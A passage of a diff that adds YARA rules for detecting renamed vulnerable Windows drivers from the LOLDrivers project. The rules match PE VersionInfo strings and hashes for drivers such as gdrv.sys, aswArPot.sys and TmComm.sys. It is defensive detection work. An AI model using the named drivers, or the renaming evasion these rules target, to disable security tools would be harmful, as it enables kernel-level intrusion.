+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a072197177aad26c31960694e38e2cae85afbab070929e67e331b99d3a418cf4"
+		hash = "e0b5a5f8333fc1213791af5c5814d7a99615b3951361ca75f8aa5022c9cfbc2b"
+		hash = "ded2927f9a4e64eefd09d0caba78e94f309e3a6292841ae81d5528cab109f95d"
+		date = "2023-06-14"
+		score = 70
+		id = "4ecccfaa-43fb-582e-9a9e-77529ee9234f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 } /* CompanyName CPUID */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 } /* ProductName CPUIDservice */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310036002000430050005500490044 } /* LegalCopyright CopyrightCCPUID */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /cpuz/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_2A62 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2a6212f3b68a6f263e96420b3607b31cfdfe51afff516f3c87d27bf8a89721e8"
+		date = "2023-06-14"
+		score = 70
+		id = "492872fa-b936-526f-94c6-c9524039e583"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000360035002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000360035002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100320020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /viragt64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_AAA3 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "aaa3459bcac25423f78ed72dbae4d7ef19e7c5c65770cbe5210b14e33cd1816c"
+		date = "2023-06-14"
+		score = 70
+		id = "272c95fe-bf5a-53d8-b54b-10dfa4f2945a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0032002e0033003800320030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0032002e0033003800320030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswvmmsys_Avastantivirus_3650 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswVmm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "36505921af5a09175395ebaea29c72b2a69a3a9204384a767a5be8a721f31b10"
+		date = "2023-06-14"
+		score = 70
+		id = "715dc163-ea21-5633-9d27-6b80e5207fb6"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00610076006100730074002100200056004d0020004d006f006e00690074006f0072 } /* FileDescription avastVMMonitor */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0038002e0030002e0031003400390037002e003300370036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0038002e0030002e0031003400390037002e003300370036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0061007300770056006d006d002e007300790073 } /* InternalName aswVmmsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00610076006100730074002100200041006e0074006900760069007200750073 } /* ProductName avastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0061007300770056006d006d002e007300790073 } /* OriginalFilename aswVmmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003300200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswVmm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Windowsrserverddkprovider_Gdrvsys_Windowsrserverddkdriver_31F4 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427"
+		hash = "6f1fc8287dd8d724972d7a165683f2b2ad6837e16f09fe292714e8e38ecd1e38"
+		hash = "17927b93b2d6ab4271c158f039cae2d60591d6a14458f5a5690aec86f5d54229"
+		date = "2023-06-14"
+		score = 70
+		id = "f7ade11a-24e4-5e93-9a9b-d7700b0182db"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041004200590054004500200054006f006f006c0073 } /* FileDescription GIGABYTETools */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRServerDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00310038003300300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0031003800330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 } /* ProductName WindowsRServerDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /gdrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Gigabytetechnologycoltd_Gdrvsys_Gdrv_FF67 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ff6729518a380bf57f1bc6f1ec0aa7f3012e1618b8d9b0f31a61d299ee2b4339"
+		date = "2023-06-14"
+		score = 70
+		id = "8f96b69a-eec3-5b8d-b938-902b02f32e29"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050004e00500020004400720069007600650072 } /* FileDescription GIGABYTENonPNPDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e } /* CompanyName GIGABYTETECHNOLOGYCOLTD */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310037003100320030003100300031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006700640072007600360034 } /* ProductName gdrv */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /gdrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Asustekcomputerinc_Eiosys_Asusvgakernelmodedriver_CF69 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - EIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "cf69704755ec2643dfd245ae1d4e15d77f306aeb1a576ffa159453de1a7345cb"
+		date = "2023-06-14"
+		score = 70
+		id = "f9a24212-2805-5af3-906f-56ba8a60409c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 } /* FileDescription ASUSVGAKernelModeDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e } /* CompanyName ASUSTeKComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00390037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00390037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00450049004f002e007300790073 } /* InternalName EIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 } /* ProductName ASUSVGAKernelModeDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00450049004f002e007300790073 } /* OriginalFilename EIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000320030003000340020004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e } /* LegalCopyright CopyrightASUSTeKComputerInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /EIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_4408 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "440883cd9d6a76db5e53517d0ec7fe13d5a50d2f6a7f91ecfc863bc3490e4f5c"
+		date = "2023-06-14"
+		score = 70
+		id = "e13ccc4c-bee8-5b8d-a94c-8c6d42b7656e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00340033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00340033 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320031 } /* LegalCopyright CopyrightCMarkRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /procexp/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Rivetnetworksllc_Kfecodrvsys_Killertrafficcontrol_B583 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - KfeCo10X64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "b583414fcee280128788f7b39451c511376fe821f455d4f3702795e96d560704"
+		date = "2023-06-14"
+		score = 70
+		id = "dac8f089-8029-55f6-afcc-f2095c22a925"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c002000430061006c006c006f007500740020004400720069007600650072 } /* FileDescription KillerTrafficControlCalloutDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e } /* CompanyName RivetNetworksLLC */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0037002e0034002e00310031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e0037002e0034002e00310031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 } /* InternalName KfeCoDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b0069006c006c006500720020005400720061006600660069006300200043006f006e00740072006f006c } /* ProductName KillerTrafficControl */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004b006600650043006f004400720076002e007300790073 } /* OriginalFilename KfeCoDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310035002d00320030003100380020005200690076006500740020004e006500740077006f0072006b0073002c0020004c004c0043002e } /* LegalCopyright CopyrightCRivetNetworksLLC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /KfeCo10X64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroaegis_ED2F {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ed2f33452ec32830ffef2d5dc832985db9600c306ed890c47f3f33ccbb335c39"
+		date = "2023-06-14"
+		score = 70
+		id = "51c17b83-1d09-58c5-857c-f144ff6f5108"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00380030002e0030002e0031003000360033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00380030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f002000410045004700490053 } /* ProductName TrendMicroAEGIS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Msi_Ntiolibxsys_Ntiolib_09BE {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "09bedbf7a41e0f8dabe4f41d331db58373ce15b2e9204540873a1884f38bdde1"
+		date = "2023-06-14"
+		score = 70
+		id = "f4cb25ca-f56d-5bdc-a53c-5bc91c677e49"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 } /* FileDescription NTIOLib */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 } /* InternalName NTIOLibXsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 } /* OriginalFilename NTIOLibXsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020004d006900630072006f002d005300740061007200200049004e00540027004c00200043004f002e002c0020004c00540044002e } /* LegalCopyright CopyrightCMicroStarINTLCOLTD */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NTIOLib/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Aegis_A802 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a8027daa6facf1ff81405daf6763249e9acf232a1a191b6bf106711630e6188e"
+		date = "2023-06-14"
+		score = 70
+		id = "9faf0f73-9c1e-549c-a375-8b3c3b89652c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0031003100320031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 } /* ProductName AEGIS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_0F01 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0f016c80c4938fbcd47a47409969b3925f54292eba2ce01a8e45222ce8615eb8"
+		date = "2023-06-14"
+		score = 70
+		id = "89b49564-f27a-5184-9710-a3b5c3b435fb"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sunmicrosystemsinc_Vboxdrvsys_Sunvirtualbox_R_7539 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7539157df91923d4575f7f57c8eb8b0fd87f064c919c1db85e73eebb2910b60c"
+		date = "2023-06-14"
+		score = 70
+		id = "70f1192d-29b0-5e55-9a0c-e0a17ca5e57a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 } /* FileDescription VirtualBoxSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e } /* CompanyName SunMicrosystemsInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030002e0030002e007200340039003300310035 } /* FileVersion r */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030002e0030002e007200340039003300310035 } /* ProductVersion r */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* InternalName VBoxDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530075006e0020005600690072007400750061006c0042006f0078 } /* ProductName SunVirtualBox */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* OriginalFilename VBoxDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002000530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e } /* LegalCopyright CopyrightCSunMicrosystemsInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /VBoxDrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_478D {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "478d855b648ef4501d3b08b3b10e94076ac67546b0ce86b454324f1bf9a78aa0"
+		date = "2023-06-14"
+		score = 70
+		id = "3ed4ee1e-989f-5729-9f93-e1a84cf0565b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00360030002e0030002e0031003000380032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00360030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Activeclean_A903 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a903f329b70f0078197cb7683aae1bb432eaf58572fe572f7cb4bc2080042d7e"
+		date = "2023-06-14"
+		score = 70
+		id = "ef749b9f-ba3a-53f6-ba93-d8a57f4ef398"
+	strings:
